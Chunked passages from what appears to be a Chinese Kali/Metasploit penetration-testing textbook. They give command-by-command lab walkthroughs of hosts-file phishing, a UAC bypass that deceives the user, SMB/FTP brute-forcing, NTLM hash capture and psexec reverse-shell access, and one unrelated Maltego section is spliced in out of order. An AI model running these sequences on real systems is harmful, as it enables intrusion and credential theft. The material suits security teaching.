的回复: 字节=32 时间<1ms TTL=64 192.168.1.4 的 Ping 统计信息: 数据包: 已发送 = 4，已接收 = 4，丢失 = 0 (0% 丢失)， 往返行程的估计时间(以毫秒为单位): 最短 = 0ms，最长 = 0ms，平均 = 0ms 从输出的信息中可以看到，目标主机已成功将 www.baidu.com 解析到了主机192.168.1.4上。当用户在攻击主机（192.168.1.4）上搭建了Web服务器，当目标主机访问 www.baidu.com 时将访问到目标主机上搭建好的钓鱼网站。例如，这里将使用Kali自带的Apache2服务器作为钓鱼网站，显示结果如图7.5所示。 图7.5 成功访问到钓鱼网站 从图7.5所示的浏览器中可以看到，目标主机访问的站点为 http://www.baidu.com ，但是显示的页面为Apache2服务器的主页面。由此可以说明，攻击者已成功修改了目标主机的hosts文件。"},
    {"text": "未知 7.3.3 绕过UAC 用户账户控制（User Account Control，简称UAC）是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。它要求用户对应用程序使用硬盘驱动器和系统文件进行明确授权，以达到阻止恶意程序损坏系统的效果。因此，如果目标主机启用了UAC功能的话，则一些操作会由于权限限制而导致失败，如提权。此时，渗透测试人员可以触发弹出授权对话框，诱骗受害用户自己输入管理员密码，从而绕过UAC限制。下面将介绍具体的使用方法。 【实例7-11】 使用Metasploit的exploit/windows/local/ask模块，以绕过UAC限制。具体操作步骤如下： （1）加载exploit/windows/local/ask模块并查看模块配置选项。执行命令如下： msf5 exploit(multi/handler) > use exploit/windows/local/ask msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME no File name on disk PATH no Location on disk, %TEMP% used if not set SESSION yes The session to run this module on. TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Exploit target: Id Name -- ---- 0 Windows 从输出的信息中可以看到，该模块中有一个必须项SESSION需要设置，用来指定正在运行的会话ID。 （2）配置SESSION选项。在本例中获取的会话ID为1，所以设置为1。执行命令如下： msf5 exploit(windows/local/ask) > set session 1 session => 1 从输出的信息中可以看到，已成功将SESSION选项设置为1。如果用户不确定ID，可以执行sessions命令查看。执行命令如下： msf5 exploit(windows/local/ask) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows Test-PC\\daxueba @ TEST-PC 192.168.1. 4:4444 -> 192.168.1.5:1200 (192.168.1.5) 从输出的信息中可以看到，当前获取的会话ID为1。 （3）实施渗透。执行命令如下： msf5 exploit(windows/local/ask) > exploit [*] Started reverse TCP handler on 192.168.1.4:4444 [*] UAC is Enabled, checking level... [*] The user will be prompted, wait for them to click 'Ok' [*] Uploading GntXUCz.exe - 73802 bytes to the filesystem... [*] Executing Command! 看到以上输出信息，则表示成功发起了攻击。此时，目标主机将弹出一个确认对话框，如图7.6所示。 当受害用户正在操作目标计算机时会误以为是自己正常的操作需要授权。此时，一旦受害用户输入管理员密码并单击“是”按钮后，渗透测试人员即可成功绕过UAC限制。这时将显示获取的新会话，具体如下： [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 2 opened (192.168.1.4:4444 -> 192.168.1.5:1258) at 2019-08-28 12:24:15 +0800 meterpreter > 图7.6 确认对话框 看到获取的新会话，则表示成功绕过UAC。如果用户由于UAC权限限制提权失败的话，就可以先绕过UAC然后再重新执行getsystem命令，即可成功对用户进行提权。 未知 第8章 Windows重要服务 在Windows系统中，一些重要服务均存在漏洞，如文件共享服务、文件传输服务、远程桌面服务等。用户通过利用这些服务的漏洞，可以获取目标主机的相关信息，甚至进行控制。本章将介绍对Windows的重要服务实施渗透测试的方法。 未知 8.1 文件共享服务 文件共享服务用于在网络上共享资源。Windows系统自带了文件共享服务，如SMB和NetBIOS。用户可以利用工具来获取网络中的共享资源。本节将介绍对文件共享服务实施渗透。"},
    {"text": "未知 8.1.1 枚举NetBIOS共享资源 NetBIOS是一种网络协议，用于实现消息通信和资源共享。利用NetBIOS协议可以获取计算机名称，从而进一步判断共享资源。Kali Linux提供了一款专用工具nbtscan-unixwiz，可以直接扫描单个或多个计算机名称或者IP地址，然后搜索开放的文件共享服务。下面将讲解如何使用nbtscan-unixwiz工具枚举NetBIOS共享资源。 nbtscan-unixwiz工具的语法格式如下： nbtscan-unixwiz [options] target nbtscan-unixwiz工具常用的命令选项及含义如下： ·-f：显示所有NBT资源记录。 ·-v：显示详细信息。 ·-n：不进行反向查询。 ·-T <n>：指定超时时间，默认为2s。 ·-w <n>：指定每次写入后的等待时间，默认为10ms。 ·-t <n>：指定每个地址尝试次数，默认为1。 【实例8-1】 枚举192.168.1.0网段中所有主机的NetBIOS共享资源。执行命令如下： root@daxueba:~# nbtscan-unixwiz -f 192.168.1.0/24 192.168.1.1 WORKGROUP\\SMBSHARE SHARING SMBSHARE <00> UNIQUE Workstation Service SMBSHARE <03> UNIQUE Messenger Service<3> SMBSHARE <20> UNIQUE File Server Service ..__MSBROWSE__. <01> GROUP Master Browser WORKGROUP <1d> UNIQUE Master Browser WORKGROUP <1e> GROUP Browser Service Elections WORKGROUP <00> GROUP Domain Name 00:00:00:00:00:00 ETHER 192.168.1.1 192.168.1.3 WORKGROUP\\KDKDAHJD61Y369J SHARING KDKDAHJD61Y369J <20> UNIQUE File Server Service KDKDAHJD61Y369J <00> UNIQUE Workstation Service WORKGROUP <00> GROUP Domain Name 1c:6f:65:c8:4c:89 ETHER kdkdahjd61y369j 192.168.1.5 WORKGROUP\\TEST-PC SHARING TEST-PC <00> UNIQUE Workstation Service WORKGROUP <00> GROUP Domain Name TEST-PC <20> UNIQUE File Server Service WORKGROUP <1e> GROUP Browser Service Elections 00:0c:29:34:75:8b ETHER test-pc 192.168.1.6 WORKGROUP\\DAXUEBA-112A8EA SHARING DAXUEBA-112A8EA <00> UNIQUE Workstation Service WORKGROUP <00> GROUP Domain Name DAXUEBA-112A8EA <20> UNIQUE File Server Service WORKGROUP <1e> GROUP Browser Service Elections 00:0c:29:29:2d:1f ETHER daxueba-112a8ea 从输出的信息中可以看到，成功枚举出了192.168.1.0/24网段中所有活动主机的NetBIOS共享资源。 未知 1.6.1 注册账户 当用户启动Maltego工具后，需要使用账户进行登录。因此在配置该工具之前，应先注册一个账户。注册账户的地址如下： https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php 。 在浏览器中成功访问该地址后，将打开如图1.42所示的窗口。 图1.42 准备注册账号 从中可以看到有一个注册按钮，单击Click here to Register按钮，将进入如图1.43所示的界面。 在该对话框中填写正确信息，然后勾选“进行人机身份验证”复选框。验证成功后单击Register按钮，将完成注册。此时，注册账号时使用的邮箱将会收到一份邮件。登录邮箱，根据提示将该账户激活才可使用。 图1.43 注册账号 提示： 当国内用户在注册账号时，可能会出现无法显示验证码的问题。这是因为验证码是由Google公司提供的，所以国内用户无法访问。此时，用户可以使用VPN来解决该问题。"},
    {"text": "未知 8.1.2 暴力破解SMB服务 Microsoft使用NetBIOS实现了一个网络文件/打印服务系统。系统基于NetBIOS设定了一套文件共享协议，称之为SMB（Server Message Block）协议。每个SMB服务器都能对外提供文件或打印服务。其中，每个共享资源被赋予一个共享名，这个名字显示在这个服务器的资源列表中。通常，要访问SMB服务共享资源时，需要指定一个操作系统的用户名和密码。利用这个验证机制，用户可以暴力破解系统的用户名和密码。下面将介绍如何暴力破解SMB服务的登录认证信息。 【实例8-2】 使用Metasploit的smb_login模块暴力破解SMB服务。具体操作步骤如下： （1）加载smb_login模块并查看该模块的配置选项。执行命令如下： msf5 > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > show options Module options (auxiliary/scanner/smb/smb_login): Name Current Setting Required Description ---- --------------- -------- ----------- ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user PASS_FILE no File containing passwords, one per line PRESERVE_DOMAINS true no Respect a username that contains a domain name. Proxies no A proxy chain of format type:host:port[,type: host:port][...] RECORD_GUEST false no Record guest-privileged random logins to the database RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts 从输出的信息中可以看到smb_login模块中的所有配置选项。用户可以根据自己的目标SMB服务器配置具体的参数。 （2）配置RHOSTS参数，指定目标主机地址。执行命令如下： msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 （3）配置USER_FILE参数，指定用户列表文件。执行命令如下： msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE users.txt USER_FILE => users.txt （4）配置PASS_FILE参数，指定密码列表文件。执行命令如下： msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE pass.txt PASS_FILE => pass.txt （5）配置THREADS参数，指定并行的线程数。执行命令如下： msf5 auxiliary(scanner/smb/smb_login) > set THREADS 20 THREADS => 20 （6）此时，所有的选项就设置好了。实施渗透测试，执行命令如下： msf5 auxiliary(scanner/smb/smb_login) > exploit [*] 192.168.1.5:445 - 192.168.1.5:445 - Starting SMB login bruteforce [+] 192.168.1.5:445 - 192.168.1.5:445 - Success: '.\\administrator: 123456' Administrator [-] 192.168.1.5:445 - 192.168.1.5:445 - Failed: '.\\bob:123456', [*] 192.168.1.5:445 - Error: 192.168.1.5: ActiveRecord::RecordInvalid Validation failed: Last attempted at can't be nil if status is tried. [*] 192.168.1.5:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到，已经成功破解出了一个有效的用户信息。其中，用户名为administrator，密码为123456。"},
    {"text": "未知 8.1.3 枚举SMB共享资源 当用户成功破解出SMB服务的认证信息后，则可以尝试使用该用户信息来枚举SMB共享资源。Kali Linux提供了一款专用工具SMBMap，可以用来枚举SMB共享资源。SMBMap允许用户在整个域中对Samba共享驱动器进行枚举。使用该工具可以枚举共享驱动器、驱动器权限、共享的内容、上传和下载功能、上传文件名自动匹配模式等，甚至可以枚举远程执行的命令。SMBMap工具的语法格式如下： smbmap options SMBMap工具常用的命令选项及含义如下： ·-H HOST：指定目标主机地址。 ·--host-file：指定目标主机地址列表文件。 ·-u USERNAME：指定使用的用户名。 ·-p PASSWORD：指定使用的密码。 ·-s SHARE：指定共享的项目。 ·-d DOMAIN：指定域名，默认为WORKGROUP（工作组）。 ·-P PORT：指定SMB服务端口号，默认为445。 ·-x COMMAND：指定在目标主机上执行的命令，如ipconfig/all。 ·-R PATH：递归的列出目录和文件。 ·-r PATH：列出目录中的内容。 【实例8-3】 枚举目标主机192.168.1.5中的SMB共享资源。执行命令如下： root@daxueba:~# smbmap -u administrator -p 123456 -H 192.168.1.5 [+] Finding open SMB ports.... [+] User SMB session establishd on 192.168.1.5... [+] IP: 192.168.1.5:445 Name: test-pc Disk Permissions ---- ----------- ADMIN$ READ, WRITE C$ READ, WRITE E$ READ, WRITE IPC$ NO ACCESS share READ ONLY Users READ, WRITE 以上输出信息共显示了两列，分别是Disk（磁盘）和Permissions（权限）。从显示的结果中可以看到共享的文件及对应的访问权限。 【实例8-4】 查看目标主机中共享文件夹share下的文件。执行命令如下： root@daxueba:~# smbmap -u administrator -p 123456 -H 192.168.1.5 -r 'E$\\share' [+] Finding open SMB ports.... [+] User SMB session establishd on 192.168.1.5... [+] IP: 192.168.1.5:445 Name: test-pc Disk Permissions ---- ----------- E$ READ, WRITE .share\\ dr--r--r-- 0 Mon Aug 5 11:16:42 2019 . dr--r--r-- 0 Mon Aug 5 11:16:42 2019 .. -r--r--r-- 0 Mon Aug 5 11:16:42 2019 11.txt dr--r--r-- 0 Sat Sep 1 10:12:05 2018 22 从输出的信息中可以看到，share文件夹中共有两个文件，分别是11.txt和22。"},
    {"text": "执行命令如下： root@daxueba:~# enum4linux -P 192.168.1.10 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/ enum4linux/ ) on Thu Aug 29 17:37:45 2019 ========================== | Target Information | ========================== Target ........... 192.168.1.10 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ==================================================== | Enumerating Workgroup/Domain on 192.168.1.10 | ==================================================== [+] Got domain/workgroup name: WORKGROUP ===================================== | Session Check on 192.168.1.10 | ===================================== [+] Server 192.168.1.10 allows sessions using username '', password '' =========================================== | Getting domain SID for 192.168.1.10 | =========================================== Cannot connect to server. Error was NT_STATUS_INVALID_PARAMETER [+] Can't determine if host is part of domain or part of a workgroup ==================================================== | Password Policy Information for 192.168.1.10 | ==================================================== [+] Attaching to 192.168.1.10 using a NULL share [+] Trying protocol 445/SMB... [+] Found domain(s): #找到的域主机 [+] TEST-802554CBD9 [+] Builtin [+] Password Info for Domain: TEST-802554CBD9 #密码策略 [+] Minimum password length: None #最短密码长度 [+] Password history length: None #密码历史长度 [+] Maximum password age: 42 days 22 hours 47 minutes #密码最长使用期限 [+] Password Complexity Flags: 000000 #密码复杂度 [+] Domain Refuse Password Change: 0 #禁止修改域密码 [+] Domain Password Store Cleartext: 0 #域密码明文存储 [+] Domain Password Lockout Admins: 0 #域密码锁定管理 [+] Domain Password No Clear Change: 0 #域密码没有发生变化 [+] Domain Password No Anon Change: 0 #域密码没有立刻发生改变 [+] Domain Password Complex: 0 #域密码复杂度 [+] Minimum password age: None #密码最短使用期限 [+] Reset Account Lockout Counter: 30 minutes #重置账户锁定计算器 [+] Locked Account Duration: 30 minutes #锁定账户持续的时间 [+] Account Lockout Threshold: None #账户锁定持续的时间 [+] Forced Log off Time: Not Set #账户锁定阈值 [+] Retieved partial password policy with rpcclient: enum4linux complete on Thu Aug 29 17:37:46 2019 从输出的信息中可以看到目标主机的密码策略信息。"},
    {"text": "执行命令如下： root@daxueba:~# enum4linux -S 192.168.1.10 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/ enum4linux/ ) on Thu Aug 29 17:30:38 2019 ========================== | Target Information | ========================== Target ........... 192.168.1.10 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ==================================================== | Enumerating Workgroup/Domain on 192.168.1.10 | ==================================================== [+] Got domain/workgroup name: WORKGROUP ===================================== | Session Check on 192.168.1.10 | ===================================== [+] Server 192.168.1.10 allows sessions using username '', password '' =========================================== | Getting domain SID for 192.168.1.10 | =========================================== Cannot connect to server. Error was NT_STATUS_INVALID_PARAMETER [+] Can't determine if host is part of domain or part of a workgroup ========================================= | Share Enumeration on 192.168.1.10 | #共享文件列表 ========================================= Sharename Type Comment --------- ---- ------- IPC$ IPC 远程 IPC share Disk Share Folder ADMIN$ Disk 远程管理 C$ Disk 默认共享 Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- [+] Attempting to map shares on 192.168.1.10 //192.168.1.10/IPC$ Mapping: OK Listing: DENIED //192.168.1.10/share Mapping: DENIED, Listing: N/A //192.168.1.10/ADMIN$ Mapping: DENIED, Listing: N/A //192.168.1.10/C$ Mapping: DENIED, Listing: N/A enum4linux complete on Thu Aug 29 17:30:39 2019 从以上输出信息中可以看到成功获取的目标主机的共享文件列表。"},
    {"text": "未知 8.1.5 捕获认证信息 在Metasploit框架中提供了一个auxiliary/server/capture/smb模块，可以用来捕获SMB认证信息。下面将介绍使用该模块捕获认证信息的方法。 【实例8-8】 使用auxiliary/server/capture/smb模块捕获认证信息。具体操作步骤如下： （1）加载smb模块并查看模块配置选项。执行命令如下： msf5 > use auxiliary/server/capture/smb msf5 auxiliary(server/capture/smb) > show options Module options (auxiliary/server/capture/smb): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte server challenge JOHNPWFILE no The prefix to the local filename to store the hashes in John format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. Auxiliary action: Name Description ---- ----------- Sniffer 从输出的信息中可以看到smb模块的所有配置选项。 （2）配置SRVHOST选项，指定监听的主机地址。执行命令如下： msf5 auxiliary(server/capture/smb) > set SRVHOST 192.168.1.4 SRVHOST => 192.168.1.4 （3）实施渗透测试。执行命令如下： msf5 auxiliary(server/capture/smb) > exploit [*] Auxiliary module running as background job 0. [*] Started service listener on 192.168.1.4:445 [*] Server started. 从输出的信息中可以看到，已成功在主机192.168.1.4上启动了SMB服务，监听的端口为445。当有客户端访问该服务时，将捕获到其认证信息。输出如下： [*] SMB Captured - 2019-08-29 18:06:27 +0800 NTLMv1 Response Captured from 192.168.1.6:1105 - 192.168.1.6 USER:daxueba DOMAIN:DAXUEBA-112A8EA OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1 LMHASH:be55aab30bf2e1268f57f90887c0d68e2f85252cc731bb25 NTHASH:54b41c2204df7a9e1478f3cfa64bd9e250f57a764a0eef36 从输出的信息中可以看到，已经成功捕获到目标主机登录SMB服务的认证信息。其中，用户名为daxueba；LM哈希为be55aab30bf2e1268f57f90887c0d68e2f85252cc731bb25；NTLM哈希为54b41c2204df7a9e1478f3cfa64bd9e250f57a764a0eef36。"},
    {"text": "未知 8.1.6 利用SMB服务中的漏洞 渗透测试者通过利用SMB服务器中存在的漏洞，可以主动向受害者主机发送漏洞利用代码。在Metasploit框架中提供了一个exploit/windows/smb/psexec模块，可以利用SMB服务漏洞来获取会话连接。下面将介绍利用SMB服务中的漏洞实施渗透的方法。 【实例8-9】 利用SMB服务漏洞实施渗透。具体操作步骤如下： （1）加载exploit/windows/smb/psexec模块。执行命令如下： msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > （2）加载攻击载荷。执行命令如下： msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/ reverse_tcp payload => windows/meterpreter/reverse_tcp （3）查看模块配置选项。执行命令如下： msf5 exploit(windows/smb/psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_ no Service description to to be DESCRIPTION used on target for pretty listing SERVICE_ no The service display name DISPLAY_NAME SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic 以上输出信息显示了当前模块中的所有配置选项。从显示的结果中可以看到，有几个必须配置的选项还没有设置。接下来就配置需要的选项参数。 （4）设置RHOSTS选项，指定目标主机地址。执行命令如下： msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.6 RHOSTS => 192.168.1.6 （5）设置LHOST选项，指定本地监听的地址。执行命令如下： msf5 exploit(windows/smb/psexec) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 （6）设置SMBUser选项，指定SMB认证用户。执行命令如下： msf5 exploit(windows/smb/psexec) > set SMBUser administrator SMBUser => administrator （7）设置SMBPass选项，指定认证的密码。其中，该选项可以指定密码哈希值。执行命令如下： msf5 exploit(windows/smb/psexec) > set SMBPass 123456 SMBPass => 123456 （8）利用漏洞实施渗透测试。执行命令如下： msf5 exploit(windows/smb/psexec) > exploit [*] Started reverse TCP handler on 192.168.1.4:4444 [*] 192.168.1.6:445 - Connecting to the server... [*] 192.168.1.6:445 - Authenticating to 192.168.1.6:445 as user 'administrator'... [*] 192.168.1.6:445 - Selecting native target [*] 192.168.1.6:445 - Uploading payload... EWCujlXV.exe [*] 192.168.1.6:445 - Created \\EWCujlXV.exe... [+] 192.168.1.6:445 - Service started successfully... [*] 192.168.1.6:445 - Deleting \\EWCujlXV.exe... [*] Sending stage (179779 bytes) to 192.168.1.6 [*] Meterpreter session 1 opened (192.168.1.4:4444 -> 192.168.1.6:1263) at 2019-08-31 18:39:41 +0800 meterpreter > 从输出的信息中可以看到，成功获取了一个Meterpreter会话。接下来用户可以执行任意的Meterpreter内置命令。例如，查看下目标主机系统信息，执行命令如下： meterpreter > sysinfo Computer : BENET-201A2D245 #计算机名 OS : Windows .NET Server (Build 3790, Service Pack 2). #操作系统类型 Architecture : x86 #架构 System Language : zh_CN #系统语言 Domain : WORKGROUP #域名 Logged On Users : 2 #登录的用户 Meterpreter : x86/windows #Meterpreter会话 从输出的信息中显示了目标主机中的信息。例如，计算机名为BENET-201A2D245；操作系统类型为Windows.NET Server(Build 3790,Service Pack 2)；架构为x86等。 未知 8.2 文件传输服务 文件传输服务用于计算机之间的文件传输。在Windows系统中，通常使用FTP文件传输服务来上传或下载文件。本节将介绍对文件传输服务实施渗透测试的方法。"},
    {"text": "未知 8.2.1 匿名探测 在FTP文件传输服务中，允许匿名用户进行登录。其中，默认的匿名用户登录名为ftp和anonymous，密码为任意的密码。因此，如果目标主机允许匿名用户登录的话，则可能会被一些渗透测试者所利用。此时，用户可以使用Metasploit的auxiliary/scanner/ftp/anonymous模块探测目标主机是否启用了匿名登录。 【实例8-10】 使用auxiliary/server/capture/smb模块实施匿名探测。具体操作步骤如下： （1）加载并查看auxiliary/server/capture/smb模块的配置选项。执行命令如下： msf5 > use auxiliary/scanner/ftp/anonymous msf5 auxiliary(scanner/ftp/anonymous) > show options Module options (auxiliary/scanner/ftp/anonymous): Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS mozilla@ no The password for the specified example.com username FTPUSER anonymous no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) THREADS 1 yes The number of concurrent threads 从输出的信息中可以看到当前模块的所有配置选项。从显示结果中可以看到，RHOSTS选项还没有设置。 （2）设置RHOSTS选项，指定探测的目标主机地址。执行命令如下： msf5 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 （3）实施匿名探测。执行命令如下： msf5 auxiliary(scanner/ftp/anonymous) > exploit [+] 192.168.1.5:21 - 192.168.1.5:21 - Anonymous READ (220-FileZilla Server 0.9.60 beta 220-written by Tim Kosse (tim.kosse@filezilla-project.org) 220 Please visit https://filezilla-project.org/) [*] 192.168.1.5:21 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从以上输出信息中可以看到，目标主机允许匿名用户登录。 未知 8.2.2 密码破解 一般情况下，FTP服务的匿名用户权限是有限的。使用匿名用户登录目标服务器时可能造成很多操作失败。此时，用户可以尝试对其他用户实施密码暴力破解。下面将介绍使用Metasploit的auxiliary/scanner/ftp/ftp_login模块实施密码破解的方法。 【实例8-11】 使用auxiliary/scanner/ftp/ftp_login模块对目标主机的FTP服务实施密码暴力破解。具体操作步骤如下： （1）加载并查看auxiliary/scanner/ftp/ftp_login模块配置选项。执行命令如下： msf5 > use auxiliary/scanner/ftp/ftp_login msf5 auxiliary(scanner/ftp/ftp_login) > show options Module options (auxiliary/scanner/ftp/ftp_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_ false no Try blank passwords for all PASSWORDS users BRUTEFORCE_ 5 yes How fast to bruteforce, from SPEED 0 to 5 DB_ALL_ false no Try each user/password couple CREDS stored in the current database DB_ALL_ false no Add all passwords in the PASS current database to the list DB_ALL_ false no Add all users in the current USERS database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line Proxies no A proxy chain of format type: host:port[,type:host:port] [...] RECORD_ false no Record anonymous/guest logins GUEST to the database RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) STOP_ON_ false yes Stop guessing when a credential SUCCESS works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_ no File containing users and FILE passwords separated by space, one pair per line USER_AS_ false no Try the username as the PASS password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts 从输出的信息中可以看到当前模块的所有配置选项。此时，用户可以根据自己的环境来配置其参数。 （2）设置RHOSTS参数，指定目标主机地址。执行命令如下： msf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 （3）设置USER_FILE参数，指定用户列表文件。执行命令如下： msf5 auxiliary(scanner/ftp/ftp_login) > set USER_FILE users.txt USER_FILE => users.txt （4）设置PASS_FILE参数，指定密码列表文件。执行命令如下： msf5 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE pass.txt PASS_FILE => pass.txt （5）实施密码暴力破解。执行命令如下： msf5 auxiliary(scanner/ftp/ftp_login) > exploit [*] 192.168.1.5:21 - 192.168.1.5:21 - Starting FTP login sweep [-] 192.168.1.5:21 - 192.168.1.5:21 - LOGIN FAILED: administrator:123456 (Incorrect: ) [-] 192.168.1.5:21 - 192.168.1.5:21 - LOGIN FAILED: bob:123456 (Incorrect: ) [-] 192.168.1.5:21 - 192.168.1.5:21 - LOGIN FAILED: daxueba:123456 (Incorrect: ) [+] 192.168.1.5:21 - 192.168.1.5:21 - Login Successful: test:123456 [-] 192.168.1.5:21 - 192.168.1.5:21 - LOGIN FAILED: alice:123456 (Incorrect: ) [*] 192.168.1.5:21 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到，成功破解出了一个有效的用户。其中，登录名为test，密码为123456。"},
    {"text": "未知 8.3 SQL Server服务 SQL Server是微软公司推出的关系型数据库管理系统，它是Windows系统中最常用的数据库服务。本节将介绍如何对SQL Server数据库服务实施渗透测试。 未知 8.3.1 发现SQL Server 对SQL Server服务实施渗透测试，首先需要确定目标主机上是否启动了该服务。用户可以使用Nmap或Metasploit探测SQL Server服务。下面讲解这两种方式。 1.使用Nmap扫描发现SQL Server服务 Nmap是一款功能非常强大的网络扫描和嗅探工具。通过使用该工具，可以探测一个目标主机中开放的端口、服务及对应的版本。其中，SQL Server服务默认的端口为1433。 【实例8-12】 使用Nmap扫描发现SQL Server服务。执行命令如下： root@daxueba:~# nmap -sV -p 1433 192.168.80.140 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-31 17:16 CST Nmap scan report for test-pc (192.168.80.140) Host is up (0.0012s latency). PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds 从输出的信息中可以看到，目标主机开放了1433端口。其中，该服务版本为Microsoft SQL Server 2005 9.00.1399;RTM。由此可以说明，目标主机安装了Microsoft SQL Server 2005。 2.使用Metasploit扫描发现SQL Server服务 用户还可以使用Metasploit的auxiliary/scanner/mssql/mssql_ping模块来扫描发现SQL Server服务。 【实例8-13】 使用auxiliary/scanner/mssql/mssql_ping模块扫描发现SQL Server服务。具体操作步骤如下： （1）加载并查看auxiliary/scanner/mssql/mssql_ping模块配置选项。执行命令如下： msf5 > use auxiliary/scanner/mssql/mssql_ping msf5 auxiliary(scanner/mssql/mssql_ping) > show options Module options (auxiliary/scanner/mssql/mssql_ping): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\" THREADS 1 yes The number of concurrent threads USERNAME sa no The username to authenticate as USE_WINDOWS_ false yes Use windows authentification AUTHENT (requires DOMAIN option set) 从输出的信息中可以看到当前模块的所有配置选项。接下来将配置这些选项，以扫描目标主机。 （2）设置RHOSTS选项指定目标主机地址。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.80.140 RHOSTS => 192.168.80.140 （3）设置THREADS选项指定线程数，以加快扫描速度。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 10 THREADS => 10 （4）实施SQL Server扫描发现。执行命令如下： msf5 auxiliary(scanner/mssql/mssql_ping) > exploit [*] 192.168.80.140: - SQL Server information for 192.168.80.140: [+] 192.168.80.140: - ServerName = TEST-PC #服务名 [+] 192.168.80.140: - InstanceName = MSSQLSERVER #实例名 [+] 192.168.80.140: - IsClustered = No [+] 192.168.80.140: - Version = 9.00.1399.06 #版本 [+] 192.168.80.140: - tcp = 1433 #TCP端口 [*] 192.168.80.140: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到目标主机中的SQL Server信息，如服务名、实例名、版本和端口等。由此可以说明，目标主机中安装并开放了SQL Server服务。"},
